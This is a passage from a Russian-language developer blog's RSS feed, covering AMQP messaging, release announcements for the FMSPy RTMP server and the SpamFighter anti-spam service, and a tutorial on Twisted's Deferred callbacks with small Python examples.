<p>Основная идея состоит в том, что отдельные подсистемы (или независимые приложения) могут обмениваться произвольным образом сообщениями через AMQP-брокер, который осуществляет маршрутизацию, возможно гарантирует доставку, распределение потоков данных, подписку на нужные типы сообщений. В качестве классических примеров обычно приводятся финансовые приложения, связанные, например, с доставкой потребителям информации о курсах ценных бумаг в режиме реального времени, также возможно RPC-взаимодействие двух подсистем, которые не имеют связи друг с другом (взаимодействие через общий протокол AMQP) и так далее и тому подобное.</p>

<p>Сегодня тема доставки информации в реальном времени является крайне актуальной (достаточно вспомнить хотя бы Twitter, Google Wave). И здесь системы передачи сообщений могут служить внутренним механизмом обмена данными, который обеспечивает доставку данных (изменений данных) клиентам.</p>

<p>Я не ставлю своей целью сегодня рассказать о том, как писать приложения для AMQP. Хочу лишь немного рассказать о том, что это совсем не страшно, не очень сложно, и действительно работает, хотя стандарт находится еще в развитии, выходят новые версии протокола, брокеров и т.п. Но это уже вполне production-quality. Расскажу лишь базовые советы, чтобы помочь &laquo;въехать&raquo; в протокол.</p>

<p><span id="more-392"></span></p>

<p>Для начала, маленькая коллекция ссылок (в основном, на английском): что такое вообще обмен сообщениями и почему AMQP такой (<a href="http://www.zeromq.org/whitepapers:amqp-analysis">Messaging in general and AMQP design</a>); сравнение различных реализаций обмена сообщениями, в частности основанных на AMQP (<a href="http://wiki.secondlife.com/wiki/Message_Queue_Evaluation_Notes">Message Queue Comparison</a>); клиентская библиотека AMQP для Twisted Framework (Python) с поддержкой Thrift (<a href="http://us.pycon.org/2009/conference/schedule/event/28/">Thrift, AMQP in Twisted</a>); руководство от Red Hat о том, что такое messaging и как работать с AMQP, описывает их &laquo;коробочный&raquo; продукт на основе AMQP, но подходит и для любых AMQP-брокеров (<a href="http://www.redhatpress.org/docs/en-US/Red_Hat_Enterprise_MRG/1.0/pdf/Messaging_Tutorial/Messaging_Tutorial.pdf">AMQP Programming Tutorial for C++, Java, and Python</a>); достаточно много документации, описаний архитектурных решений на сайте <a href="http://www.zeromq.org/">ZeroMQ</a>, который не совсем AMQP-брокер, но общая архитектура, детали реализации представляют отдельный интерес; обзорная статья от Duncan McGregor о txAMQP и AMQP в общем (<a href="http://feedproxy.google.com/~r/ElectricDuncan/~3/NKiCEOnzXe0/sinfonia-on-messaging-with-txamqp.html">A Simfonia on Messaging with txAMQP</a>, <a href="http://feedproxy.google.com/~r/ElectricDuncan/~3/f3QMwXP6OwI/sinfonia-on-messaging-with-txamqp-part.html">II</a>, <a href="http://feedproxy.google.com/~r/ElectricDuncan/~3/Xi5GBHBooNg/sinfonia-on-messaging-with-txamqp-part_18.html">III</a>)</p>

<p>Далее необходимо выбрать AMQP-брокер, который вы будете использовать. При выборе необходимо рассматривать как собственно характеристики сервера: скорость работы, надежность, легкость установки и поддержки, но также внимательно смотреть на версию AMQP-протокола, которая поддерживается брокером, &#8211; она должна совпадать с версией клиентской AMQP-библиотеки. Из брокеров я бы посоветовал <a href="http://www.rabbitmq.com/">RabbitMQ</a>, написанный на Erlang, и <a href="http://qpid.apache.org/">Qpid</a>, версии на C++ (AMQP 0-10) и Java (0-8, 0-9).</p>

<p>Сам протокол AMQP устроен достаточно интересно: на самом нижнем уровне определяется формат кодирования данных в бинарный вид для передачи по TCP-соединению, выше лежит формат передачи RPC-запросов между сервером и клиентом. Сама семантика работы с сообщениями, создания очередей и т.п. описывается в XML-спецификации, которая по сути задает RPC-интерфейс сервера и клиента (примеры таких XML-файлов для версий <a href="http://jira.amqp.org/confluence/download/attachments/720900/amqp0-8.xml?version=1">0-8</a> и <a href="http://jira.amqp.org/confluence/download/attachments/720900/amqp.0-10.xml?version=1">0-10</a>). Этот XML является последней и конечной спецификацией протокола. Более того, версии протокола 0-8 и 0-10 отличаются настолько сильно, что поддерживать их одновременно вряд ли возможно в одной программе. Что еще более интересно, иногда такие spec-файлы для разных брокеров AMQP, формально поддерживающих одну и ту же версию протокола, отличаются настолько, что не являются взаимозаменяемыми. Но это скорее небольшие технические проблемы.</p>

<p>AMQP основан на трех понятиях:</p>

<ol>
<li>Сообщение (message) &#8211; единица передаваемых данных, основная его часть (содержание) никак не интерпретируется сервером, к сообщению могут быть прицеплены структурированные заголовки.</li>
<li>Точка обмена (exchange) &#8211; в нее отправляются сообщения. Точка обмена распределяет сообщения в одну или несколько очередей. При этом в точке обмена сообщения не хранятся. Точки обмена бывают трех типов: fanout &#8211; сообщение передается во все прицепленные к ней очереди; direct &#8211; сообщение передается в очередь с именем, совпадающим с ключом маршрутизации (routing key) (ключ маршрутизации указывается при отправке сообщения); topic &#8211; нечто среднее между fanout и exchange, сообщение передается в очереди, для которых совпадает маска на ключ маршрутизации, например, <code>app.notification.sms.*</code> &#8211; в очередь будут доставлены все сообщения, отправленные с ключами, начинающимися на <code>app.notification.sms</code>.</li>
<li>Очередь (queue) &#8211; здесь хранятся сообщения до тех пор, пока не будет забраны клиентом. Клиент всегда забирает сообщения из одной или нескольких очередей.</li>
</ol>

<p>Меня в AMQP привлек эффективный бинарный протокол, ориентированность протокола на минимальные задержки и гибкость настройки. Я его использовал для рассылки сообщений всем серверам кластера (fanout exchange) и организации аналогов &laquo;почтовых ящиков&raquo;, в которые доставляются сообщения, адресованные определенным клиентам (direct exchange). Для получения сообщений нет необходимости опрашивать сервер, достаточно подписаться на сообщения из очереди, и сервер передаст их в тот момент, когда они появятся.</p>

<p>В качестве клиентской библиотеки я выбрал библиотеку txAMQP для Twisted Framework (Python). В общем и целом все работает, но где-то требуются небольшие &laquo;доделки&raquo; и &laquo;подкрутки&raquo;, которые я планирую опубликовать на launchpad. В AMQP и вокруг AMQP есть много интересного и перспективного. К примеру, брокер RabbitMQ умеет масштабироваться и работать в едином кластере. Мне кажется, это очень полезная и перспективная технология.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/06/08/amqp-in-russian/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>FMSPy, релиз Alpha (0.1)</title>
		<link>http://www.smira.ru/2009/06/07/flash-media-server-in-python-alpha-release/</link>
		<comments>http://www.smira.ru/2009/06/07/flash-media-server-in-python-alpha-release/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 18:30:58 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[fmspy]]></category>
		<category><![CDATA[rtmp]]></category>
		<category><![CDATA[разработка]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=415</guid>
		<description><![CDATA[Flash Media Server written in Python (FMSPy) &#8211; это еще один RTMP-сервер для приложений на Adobe Flash/Flex/Air. FMSPy является аналогом Adobe Flash Media Server, с гораздо меньшими возможностями, однако FMSPy &#8211; совершенно бесплатный проект с открытым исходным кодом. Проект находится на ранней стадии развития, но в активной разработке. Итак, что есть на сегодняшний день: Реализация [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.smira.ru/wp-content/uploads/2009/05/fmspy.png"><img src="http://www.smira.ru/wp-content/uploads/2009/05/fmspy.png" alt="FMSPy" title="FMSPy" width="96" height="96" class="alignleft size-full wp-image-419" /></a> <a href="http://fmspy.org/" title="FMSPy">Flash Media Server written in Python</a> (<a href="http://fmspy.org/" title="FMSPy">FMSPy</a>) &#8211; это <em>еще один</em> RTMP-сервер для приложений на Adobe Flash/Flex/Air. FMSPy является аналогом Adobe Flash Media Server, с гораздо меньшими возможностями, однако FMSPy  &#8211; совершенно бесплатный проект с открытым исходным кодом. Проект находится на ранней стадии развития, но в активной разработке.</p>

<p>Итак, что есть на сегодняшний день:</p>

<ul>
<li>Реализация <a href="http://ru.wikipedia.org/RTMP" title="RTMP">RTMP</a>-протокола: кодирование/декодирование пакетов, разрезание и склеивание из chunks и т.п.</li>
<li>Поддержка базового RPC (Invoke) клиент-сервер и сервер-клиент. То есть из Flash-приложения можно вызывать с помощью класса <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/net/NetConnection.html" title="NetConnection">NetConnection</a> методы приложения на стороне сервера, и наоборот со стороны сервера вызывать методы приложения.</li>
<li>Инфраструктура для написания приложений (в качестве плагинов к FMSPy) со своим API на <a href="http://www.python.org/" title="Python">Python</a>.</li>
</ul>

<p><span id="more-415"></span></p>

<p>В ближайших релизах:</p>

<ul>
<li>Стриминг (вещание) с вебкамеры, стриминг видео/аудио с сервера (FLV, MP4, MP3).</li>
<li>Поддержка серверных <a href="http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary648.html" title="Shared Object">Shared Object</a>.</li>
<li>Анализ загрузки, полуавтоматическая кластеризация для распределения нагрузки.</li>
</ul>

<p><a href="http://fmspy.org/" title="FMSPy">FMSPy</a> написан на <a href="http://www.python.org/" title="Python">Python</a> с использованием <a href="http://twistedmatrix.com/" title="Twisted">Twisted Framework</a>, приложения на FMSPy реализуются также на Python и им доступны все возможности, которые есть в Twisted: асинхронная сетевая модель, соединения с БД, <a href="http://www.smira.ru/tag/memcached" title="Memcached">memcached</a>, различные сервисы и т.п.</p>

<h2>Запуск и установка</h2>

<p>Если у Вас уже установлен Python и setuptools (чаще всего на Unix/Linux это так), достаточно выполнить от имени root:</p>

<pre><code>easy_install fmspy
</code></pre>

<p>Easy_install автоматически установит все необходимые зависимости (если они еще не установлены). Более подробно об установке можно почитать в <a href="http://fmspy.org/manual/en/userguide.html#installation" title="FMSPy установка">документации</a>.</p>

<p>После установки запуск в отладочном режиме (на консоли) осуществляется следующим образом:</p>

<pre><code>twistd -n fmspy
</code></pre>

<p>Для окончания работы сервера достаточно нажать Ctrl+C.</p>

<h2>Примеры</h2>

<p>Вместе с FMSPy устанавливается два примера: эхотест и простенький чат. После запуска откройте страницу <a href="http://localhost:3000/examples/">http://localhost:3000/examples/</a> и выберите интересующий вас. </p>

<p><a href="http://www.smira.ru/wp-content/uploads/2009/06/screenshot.png" target="_blank"><img src="http://www.smira.ru/wp-content/uploads/2009/06/screenshot-263x300.png" alt="echotest" title="echotest" width="263" height="300" class="alignleft size-medium wp-image-454" /></a> <a href="http://www.smira.ru/wp-content/uploads/2009/06/screenshot1.png"  target="_blank"><img src="http://www.smira.ru/wp-content/uploads/2009/06/screenshot1-297x300.png" alt="chat" title="chat" width="297" height="300" class="alignleft size-medium wp-image-456" /></a></p>

<h2>Вместо заключения</h2>

<p>Пробуйте, тестируйте, присоединяйтесь к разработке. Любая помощь приветствуется: написание документации, патчи, идеи новых фич, графические материалы! Все это лучше всего отправить в <a href="http://fmspy.org/" title="FMSPy">трекер</a>.  </p>

<p>Впереди новые релизы, также в ближайшее время статья о написании приложений для FMSPy.</p>

<p>Ссылки:</p>

<ul>
<li><a href="http://fmspy.org/" title="FMSPy">Сайт проекта, трекер</a></li>
<li><a href="http://fmspy.org/wiki/Documentation">Документация</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/06/07/flash-media-server-in-python-alpha-release/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>СпамоБорец: релиз 0.2.0</title>
		<link>http://www.smira.ru/2009/02/27/spamfighter-dot-two-release/</link>
		<comments>http://www.smira.ru/2009/02/27/spamfighter-dot-two-release/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 10:13:11 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[СпамоБорец]]></category>
		<category><![CDATA[open-source]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[разработка]]></category>
		<category><![CDATA[спамоборец]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=327</guid>
		<description><![CDATA[СпамоБорец &#8211; веб-сервис, предоставляющий функции по классификации произвольных текстовых сообщений, и, в частности, выделения спама из общего потока сообщений. В качестве сообщений могут рассматриваться, например, следующие виды общения, которые сегодня есть в социальных сетях (и веб-сайтах, имеющих элементы социальной сети): личные сообщения; чаты; комментарии к произвольным объектам; девизы, сообщения &#171;о себе&#187; и т.п. на страницах [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://spam-fighter.ru/" title="СпамоБорец">СпамоБорец</a> &#8211; веб-сервис, предоставляющий функции по классификации произвольных текстовых сообщений, и, в частности, выделения спама из общего потока сообщений.</p>

<p><img src="http://www.smira.ru/wp-content/uploads/2009/02/security-guard.png" alt="СпамоБорец" title="СпамоБорец" width="256" height="256" class="alignnone size-full wp-image-328" /></p>

<p>В качестве сообщений могут рассматриваться, например, следующие виды общения, которые сегодня есть в социальных сетях (и веб-сайтах, имеющих элементы социальной сети):</p>

<ul>
<li>личные сообщения;</li>
<li>чаты;</li>
<li>комментарии к произвольным объектам;</li>
<li>девизы, сообщения &laquo;о себе&raquo; и т.п. на страницах профиля пользователя;</li>
<li>письма в службу поддержки. </li>
</ul>

<p>Фильтрация и классификация сообщений основывается на нескольких независимых алгоритмах; результатом классификации может являться классификация как самого сообщения (причём, возможно, по нескольким категориям: спам, флуд, проституция и т.п.), так и классификация отправителей сообщений (как авторизованных, так и неавторизованных, по тем же самым категориям: спамер, флудер и т.п.). Применение классификации к отправителям сообщений позволяет на раннем этапе пресекать попытки спам-рассылок и тому подобных массовых действий на сайте. </p>

<p><span id="more-327"></span></p>

<p>Данный релиз является первым публичным релизом проекта <a href="http://spam-fighter.ru/" title="СпамоБорец">СпамоБорец</a>. Качество и полнота функционала соответствует на сегодняшний день альфа-версии. </p>

<p>На сегодня доступен следующий функционал:</p>

<ul>
<li>веб-сервис с JSON-RPC и XML-RPC API (<a href="http://spam-fighter.ru/docs/api/index.html">описание API</a>);</li>
<li>создание и запуск из <a href="http://spam-fighter.ru/docs/guide/running.html">отдельного окружения</a>;</li>
<li>firewall из правил анализа сообщений;</li>
<li>гибкая настройка содержимого сообщений;</li>
<li>анализ текста сообщений на флуд;</li>
<li>анализ частоты сообщений по тексту и атрибутам автора: логин, IP и т.п.;</li>
<li>простая Байесовская модель анализа текста (тестовая);</li>
<li>валидация сообщений по длине, наличию атрибутов, регулярному выражению;</li>
<li>логирование сообщений, проходящих через сервер;</li>
<li>система администрирования и настройки (qooxdoo, см. <a href="http://spam-fighter.ru/wiki/rus/Screenshots">скриншоты</a>);</li>
<li>реализация клиентов API на PHP и тестовый модуль для WordPress.</li>
</ul>

<h2>Как установить</h2>

<p>Нужен python и setuptools:</p>

<pre><code>easy_install spamfighter
</code></pre>

<p>После этого выбираем каталог для окружения (например, <code>~/spamfighter</code>) и запускаем:</p>

<pre><code>spamfighter-create ~/spamfighter
</code></pre>

<p>Далее следуем инструкциям на экране. Более подробную информация об установке можно найти в <a href="http://spam-fighter.ru/docs/guide/setup.html">документации по СпамоБорцу</a>. </p>

<h2>Что дальше?</h2>

<p>Этот пост &#8211; уведомление о выходе новой версии, за ним последует более подробный рассказ &laquo;для чего это нужно&raquo; и &laquo;как это использовать&raquo;. Надеемся на позитивный feedback и участие в жизни <a href="http://spam-fighter.ru/" title="СпамоБорец">проекта</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/02/27/spamfighter-dot-two-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deferred: все подробности</title>
		<link>http://www.smira.ru/2009/02/24/more-about-deferred/</link>
		<comments>http://www.smira.ru/2009/02/24/more-about-deferred/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 06:14:29 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[deferred]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[twisted]]></category>
		<category><![CDATA[разработка]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=315</guid>
		<description><![CDATA[В предыдущей статье были описаны основные принципы работы Deferred и его применение в асинхронном программировании. Сегодня мы постараемся рассмотреть в деталях функционирование Deferred и примеры его использования. Итак, Deferred &#8211; это отложенный результат, результат выполнения, который станет известен через некоторое время. Результатом, хранящимся в Deferred, может быть произвольное значение (успешное выполнение) или ошибка (исключение), которое [...]]]></description>
			<content:encoded><![CDATA[<p>В <a href="http://www.smira.ru/2009/02/10/deferred-async-programming/" title="Асинхронное программирование: концепция Deferred">предыдущей статье</a> были описаны основные принципы работы Deferred и его применение в асинхронном программировании.
Сегодня мы постараемся рассмотреть в деталях функционирование Deferred и примеры его использования.</p>

<p>Итак, Deferred &#8211; это отложенный результат, результат выполнения, который станет известен через некоторое время. 
Результатом, хранящимся в Deferred, может быть произвольное значение (успешное выполнение) или ошибка (исключение),
которое произошло в процессе выполнения асинхронной операции. Раз нас интересует результат операции и мы получили
от некоторой асинхронной функции Deferred, мы хотим выполнить действия в тот момент, когда результат выполнения будет
известен. Поэтому Deferred кроме результата хранит еще цепочку обработчиков: обработчиков результатов (callback) и
обработчиков ошибок (errback).</p>

<p>Рассмотрим поподробнее цепочку обработчиков:</p>

<p><img src="http://www.smira.ru/wp-content/uploads/2009/02/deferred1.png" alt="Deferred" title="Deferred" width="263" height="332" class="size-full wp-image-319" /></p>

<p><span id="more-315"></span></p>

<p>Обработчики располагаются по &laquo;слоям&raquo; или уровням, выполнение происходит четко по уровням сверху вниз. При этом на каждом
уровне расположены обработчики callback и errback, один из элементов может отсутствовать. На каждом уровне может
быть выполнен либо callback, либо errback, но не оба. Выполнение обработчиков происходит только один раз, повторного
входа быть не может. </p>

<p>Функции-обработчики callback являются функциями с одним аргументом &#8211; результатом выполнения:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> callback<span style="color: black;">&#40;</span>result<span style="color: black;">&#41;</span>:
    ...</pre></div></div>


<p>Функции-обработчики errback принимают в качестве параметра исключение, &laquo;завернутое&raquo; в класс <a href="http://twistedmatrix.com/documents/current/api/twisted.python.failure.Failure.html" title="API reference Failure">Failure</a>:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> errback<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
    ...</pre></div></div>


<p>Выполнение Deferred начинается с того, что в Deferred появляется результат: успешное выполнение или исключение. 
В зависимости от результата выбирается соответствующая ветвь обработчиков: callback или errback. После этого происходит поиск
ближайшего уровня обработчиков, в котором существует соответствующий обработчик. В нашем примере на рисунке
был получен успешный результат выполнения и результат был передан обработчику <code>callback1</code>.</p>

<p>Дальнейшее выполнение приводит к вызову обработчиков на нижележащих уровнях. Если callback или errback завершается
возвратом значения, которое не является Failure, выполнение считается успешным и полученный результат отправляется
на вход callback-обработчику на следующем уровне. Если же в процессе выполнения обработчика было выкинуто исключение
или возвращено значение типа Failure, управление будет передано errback на следующем уровне, который получит
исключение в качестве параметра.</p>

<p>В нашем примере обработчик <code>callback1</code> выполнился успешно, его результат был передан обработчику <code>callback2</code>, в котором
было выкинуто исключение, которое привело к переходу к цепочке errback-обработчиков, на третьем уровне обработчик
errback отсутствовал и исключение было передано в <code>errback4</code>, который обработал исключение, вернул успешный результат
выполнения, который теперь является результатом Deferred, однако больше обработчиков нет. Если к Deferred будет
добавлен еще один уровень обработчиков, они смогут получить доступ к этому результату.</p>

<p>Как и все другие объекты Python, объект Deferred живет до тех пор, пока на него есть ссылки из других объектов. Обычно
объект, вернувший Deferred, сохраняет его, т.к. ему надо по завершении асинхронной операции передать в Deferred полученный
результат. Чаще всего другие участники (добавляющие обработчики событий) не сохраняют ссылки на Deferred, таким образом
объект Deferred будет уничтожен по окончании цепочки обработчиков. Если происходит уничтожение Deferred, в котором
осталось необработанное исключение (выполнение завершилось исключением и больше обработчиков нет), на экран печатается
отладочное сообщение с traceback исключения. Эта ситуация аналогична &laquo;выскакиванию&raquo; необработанного исключения на верхний
уровень в обычной синхронной программе.</p>

<h2>Deferred в квадрате</h2>

<p>Возвращаемым значением callback и errback может быть также другой Deferred, тогда выполнение цепочки обработчиков
текущего Deferred приостанавливается до окончания цепочки обработчиков вложенного Deferred.</p>

<p><img src="http://www.smira.ru/wp-content/uploads/2009/02/deferred2.png" alt="deferred-in-deferred" title="deferred-in-deferred" width="563" height="384" class="alignnone size-full wp-image-320" /></p>

<p>В приведенном на рисунке примере обработчик callback2 возвращает не обычный результат, а другой Deferred &#8211; Deferred2. При
этом выполнение текущего Deferred приостанавливается до получения результата выполнения Deferred2. Результат Deferred2 &#8211; 
успешный или исключение &#8211; становится результатом, передаваемым на следующий уровень обработчиков первого Deferred. В нашем примере
Deferred2 завершился с исключением, которое будет передано на вход обработчику <code>errback2</code> первого Deferred.</p>

<h2>Обработка исключений в errback</h2>

<p>Каждый обработчик исключений errback является аналогом блока try..except, а блок except обычно реагирует на некоторый тип
исключений, такое поведение очень просто воспроизвести с помощью <a href="http://twistedmatrix.com/documents/current/api/twisted.python.failure.Failure.html" title="API reference Failure">Failure</a>:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> errback<span style="color: black;">&#40;</span>failure<span style="color: black;">&#41;</span>:
    <span style="color: #483d8b;">&quot;&quot;&quot;
    @param failure: ошибка (исключение), завернутое в failure
    @type failure: C{Failure}
    &quot;&quot;&quot;</span>
    failure.<span style="color: black;">trap</span><span style="color: black;">&#40;</span><span style="color: #008000;">KeyError</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Got key error: %r&quot;</span> <span style="color: #66cc66;">%</span> failure.<span style="color: black;">value</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span></pre></div></div>


<p>Метод <code>trap</code> класса <code>Failure</code> проверяет, является ли завернутое в него исключение наследником или непосредственно классом
<code>KeyError</code>. Если это не так, оригинальное исключение снова выбрасывается, прерывая выполнение текущего errback, что приведет
к передаче управления следующему errback в цепочке обработчиков, что имитирует поведение блока <code>except</code> при несоответствии
типа исключения (управление передается следующему блоку). В свойстве <code>value</code> хранится оригинальное исключение, которое
можно использовать для получения дополнительной информации об ошибке.</p>

<p>Необходимо обратить внимание, что обработчик errback должен завершиться одним из двух способов:</p>

<ol>
<li>Вернуть некоторое значение, которое станет входным значением следующего callback, что по смыслу означает, что
исключение было обработано.</li>
<li>Выкинуть оригинальное или новое исключение &#8211; исключение не было обработано или было перевыброшено новое исключение,
цепочка обработчиков errback продолжается.</li>
</ol>

<p>Существует и третий вариант &#8211; вернуть Deferred, тогда дальнейшее выполнение обработчиков будет зависеть от результата
Deferred.</p>

<p>В нашем примере мы исключение обработали и передали в качестве результата 0 (например, отсутствие некоторого ключа эквивалентно
его нулевому значению).</p>

<h2>Готовимся к асинхронности заранее</h2>

<p>Как только появляется асинхронность, то есть некоторая функция вместо непосредственного значения возвращает Deferred, асинхронность
начинает распространяться по дереву функций выше, заставляя возвращать Deferred из функций, которые раньше были синхронными (возвращали
результат непосредственно). Рассмотрим условный пример такого превращения:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">33</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> g<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">2</span></pre></div></div>


<p>Если по каким-то причинам функция <code>f</code> не сможет вернуть результат сразу, она начнет возвращать Deferred:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> Deferred<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">callback</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">33</span><span style="color: black;">&#41;</span></pre></div></div>


<p>Но теперь и функция <code>g</code> вынуждена возращать Deferred, зацепляясь за цепочку обработчиков:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> g<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">addCallback</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> result: result<span style="color: #66cc66;">*</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span></pre></div></div>


<p>Аналогичная схема &laquo;превращения&raquo; происходит и с реальными функциями: мы получаем результаты в виде Deferred от нижележащих в дереве
вызовов функции, навешиваем на их Deferred свои обработчики callback, которые соответствуют старому, синхронному коду нашей функции, если у 
нас были обработчики исключений, добавляются и обработчики errback.</p>

<p>На практике лучше сначала выявить те места кода, которые будут асинхронными и будут использовать Deferred, чем переделывать синхронный
код в асинхронный. Асинхронный код начинается с тех вызовов, которые не могут построить результат непосредственно:</p>

<ul>
<li>сетевой ввод-вывод;</li>
<li>обращение к сетевым сервисам СУБД, memcached;</li>
<li>удаленные вызовы RPC;</li>
<li>операции, выполнение которых будет выделено в нить в модели Worker и т.п.</li>
</ul>

<p>В процессе написания приложения часто ясно, что в данной точке будет асинхронное обращение, но его еще нет (не реализован интерфейс с СУБД, 
например). В такой ситуации можно использовать функции <code>defer.success</code> или <code>defer.fail</code> для создания Deferred, в котором уже содержится
результат. Вот как можно короче переписать функцию <code>f</code>:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> twisted.<span style="color: black;">internet</span> <span style="color: #ff7700;font-weight:bold;">import</span> defer
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> f<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> defer.<span style="color: black;">success</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">33</span><span style="color: black;">&#41;</span></pre></div></div>


<p>Если мы не знаем, будет ли вызываемая функция возвращать результат синхронно или вернет Deferred, и не хотим зависеть от её
поведения, мы можем завернуть обращение к ней в <code>defer.maybeDeferred</code>, которое любой вариант сделает эквивалентным вызову
Deferred:</p>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> twisted.<span style="color: black;">internet</span> <span style="color: #ff7700;font-weight:bold;">import</span> defer
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> g<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">return</span> defer.<span style="color: black;">maybeDeferred</span><span style="color: black;">&#40;</span>f<span style="color: black;">&#41;</span>.<span style="color: black;">addCallback</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> result: result<span style="color: #66cc66;">*</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span></pre></div></div>


<p>Такой вариант функции <code>g</code> будет работать как с синхронной, так и с асинхронной <code>f</code>.</p>

<h2>Вместо заключения</h2>

<p>Рассказывать о Deferred можно еще очень долго, в качестве дополнительного чтения могу опять порекомендовать
список материалов в конце <a href="http://www.smira.ru/2009/02/10/deferred-async-programming/" title="Асинхронное программирование: концепция Deferred">предыдущей статьи</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/02/24/more-about-deferred/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Асинхронное программирование: концепция Deferred</title>
		<link>http://www.smira.ru/2009/02/10/deferred-async-programming/</link>
		<comments>http://www.smira.ru/2009/02/10/deferred-async-programming/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 06:49:28 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[callback]]></category>
		<category><![CDATA[deferred]]></category>
		<category><![CDATA[errback]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[twisted]]></category>
		<category><![CDATA[асинхронное]]></category>
		<category><![CDATA[програмирование]]></category>
		<category><![CDATA[разработка]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=296</guid>
		<description><![CDATA[Асинхронная концепция программирования заключается в том, что результат выполнения функции доступен не сразу же, а через некоторое время в виде некоторого асинхронного (нарушающего обычный порядок выполнения) вызова. Зачем такое может быть полезно? Рассмотрим несколько примеров. Первый пример &#8211; сетевой сервер, веб-приложение. Чаще всего как таковых вычислений на процессоре такие приложения не выполняют. Большая часть времени [...]]]></description>
			<content:encoded><![CDATA[<p>Асинхронная концепция программирования заключается в том, что результат
выполнения функции доступен не сразу же, а через некоторое время в виде
некоторого асинхронного (нарушающего обычный порядок выполнения) вызова. Зачем
такое может быть полезно?  Рассмотрим несколько примеров.</p>

<p>Первый пример &#8211; сетевой сервер, веб-приложение. Чаще всего как таковых
вычислений на процессоре такие приложения не выполняют. Большая часть времени
(реального, не процессорного) тратится на ввод-вывод: чтение запроса от
клиента, обращение к диску за данными, сетевые обращение к другим подсистемам
